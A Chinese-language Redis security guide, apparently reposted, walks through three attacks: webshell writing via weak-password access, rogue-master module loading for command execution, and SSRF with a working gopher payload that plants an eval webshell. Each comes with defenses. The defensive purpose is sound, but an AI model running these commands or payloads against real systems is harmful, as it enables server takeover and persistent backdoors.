前言:
Redis作为一款优秀的缓存软件(Key-Value数据库),在日常中经常使用到。如果您在使用过程中错误配置了redis 那么会导致一些很严重的后果。这里详细介绍了从黑客入侵redis 的一个过程。和如何防御类似的事情发生。希望对您能有帮助
一、redis未授权访问和弱密码
简介
未授权就是没有设置密码,弱密码就是密码很弱(例如123456),可以通过暴力破解获取密码
危害
可以获取redis中的所有数据,导致信息泄露,如果知道网站路径并且该目录可写的话那么还可以写入一个webshell导致网站被黑,还可以写入定时任务反弹shell,甚至如果权限足够大的话,还可以通过在ssh中添加公钥进行连接,然后直接免密码登录ssh连接服务器。
漏洞复现
演示一下通过弱密码对网站写入webshell
使用工具对redis密码进行爆破
获取到密码后就可以对网站进行连接了,我这里使用的是工具进行连接
连接后可以执行一个info命令测试一下是否有成功连接,如果类似的显示代表执行成功
然后我这里的网站路径是
/www/wwwroot/192.168.1.169
使用如下命令进行webshell写入
flushall
set xxxx "nn"
config set dir /www/wwwroot/192.168.1.169
config set dbfilename redis.php
save
访问redis.php文件
防御方法
下面的配置修改后要重启redis服务器,重新加载配置,这样才可以生效
不使用弱密码
在宝塔的Redis中可以在性能调整中设置密码(建议密码难度8位以上,数字+字母+符号)
也可以直接去配置文件中修改密码
不允许外部访问redis
设置其中的bind的值为127.0.0.1这样就只可以本地访问redis服务了
再次去连接redis。已经连接失败了
在配置文件中修改bind的值
也可以使用宝塔的防火墙进行防御,禁止6379端口进行访问,因为redis要外连的话,我们就要添加这个规则,删掉放行的6379端口就可以禁止别人访问了
设置redis运行用户
在宝塔中安装redis默认会用redis用户运行,因为网站设置的默认权限是755,redis是没有写入权限的,所以这样就不会被拿到webshell了。
总结
1.不使用弱密码(推荐)
2.不允许外部连接
3.在配置文件中设置绑定IP
4.在防火墙中设置不允许外部访问
5.权限控制,不允许有写入文件的权限,这样只可以防御禁止被拿shell,但是redis信息一样会被泄露
二、redis命令执行
影响版本
redis.x
漏洞复现
监听本地的8379端口
nc -lvp 8379
使用网上的漏洞利用工具进行复现
这时候去到nc监听的端口那里就可以看到redis协议,其中有攻击的命令
这个时候远程连接目标的redis服务器,然后每执行上面的一个命令就在nc那里回车就可以得到下一行命令,下面是指令的集合
slaveof 192.168.1.144 8378
config set dbfilename exp.so
module load ./exp.so
slaveof NO ONE
config set dbfilename dump.rdb
system.exec id
设置完成后可以看到执行命令成功了
防御方法
1.升级redis服务器
2.使用防提权拦截命令执行
3.开启防提权功能
再次执行命令已经被拦截了
查看防提权日志,如果设置了邮件提醒的话,还会发送邮件进行报告
三、SSRF漏洞(通过网站去访问redis导致的一个问题)
介绍
ssrf漏洞,是让服务器去请求一个网络资源,如果程序没有经过过滤地址和协议那么如果请求的是内网机器的资源就会导致严重的安全问题
漏洞利用
演示:通过ssrf来攻击redis服务
如果redis服务存在弱密码或者未授权访问,但是不可以外部连接,这时候该网站有ssrf漏洞,那么还是一样可以攻击redis服务
漏洞代码
$curl = curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
curl_setopt($curl,CURLOPT_URL,$_GET['url']);
$result = curl_exec($curl);
echo($result);
如上代码就是给服务器一个url,然后服务器去请求这个url,所以所有的请求都是通过服务器去请求,如果请求的是redis服务器,也是服务器自己去请求的,所以redis禁止外部连接一样会受到攻击。
这里先使用dict协议执行一下info命令
dict://127.0.0.1:6379/info
因为上面info命令是执行成功了的,可以直接用global协议进行攻击redis服务器,Payload如下
gopher%3a%2f%2f127.0.0.1%3a6379%2f_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25244%250D%250ANone%250D%250A%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252427%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_GET%255B0%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252427%250D%250A%2fwww%2fwwwroot%2f192.168.1.169%2520%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
攻击后就会生成shell.php
成功之后就可以访问shell.php
防御方法
1.设置白名单只允许使用http和https协议
2.设置访问的端口只允许访问80和443
3.设置ip黑名单,不允许访问内网ip
4.使用Nginx防火墙进行拦截
使用Nginx防火墙防御-->刚刚的payload再次进行访问,直接被拦截
END
文章来源于互联网:Redis 安全指南